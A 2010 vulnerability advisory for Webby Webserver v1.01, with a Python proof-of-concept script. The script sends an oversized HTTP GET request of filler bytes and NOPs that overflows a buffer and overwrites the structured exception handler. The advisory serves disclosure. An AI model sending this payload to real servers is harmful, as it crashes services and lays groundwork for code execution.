Webby Webserver v1.01 - Buffer overflow vulnerability with overwritten structured exception handler (SEH)

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Webby Webserver v1.01

• Buffer overflow vulnerability with overwritten structured exception handler (SEH)
  Date: 25.05.2010

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• Description

Webby is a small webserver for the windows operating system.

• buffer overflow vulnerability

The vulnerability can be triggered by sending a specially crafted HTTP GET request.
Payload of the attached POC overwrites the SEH with NOPs.

• Solution

No known solution available.
No contact details of the author found.

• Credits

The vulnerability was discovered by Michael Messner from Integralis
michael#dot#messner#at#integralis#dot#com

• Timeline

25.05.2010 - Vulnerability discovered

• Reference

Download vulnerable software
http://www.shareware.de/webby-webserver/

• POC

#!/usr/bin/python

import socket
import sys
import os.path
import time

if len(sys.argv) < 2:
print "Usage: webby.py <IP> <port>"
sys.exit(0)

ips = sys.argv[1]
port = int(sys.argv[2])

string = "A"*790
string += "\x90"*4
string += "\x42"*105

method = "GET"
print "starting POC for:", ips
print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect=s.connect((ips, port))
except:
print "no connection possible"
sys.exit(1)

payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a\x0d\x0a'

print "\r\nsending payload"
print "\n\rusing methode %s with buffersize of: %s" % (method,str(len(string)))
print "…"

print payload
s.send(payload)
print "finished with method %s and payload %s" % (method,payload)
print "… check SEH"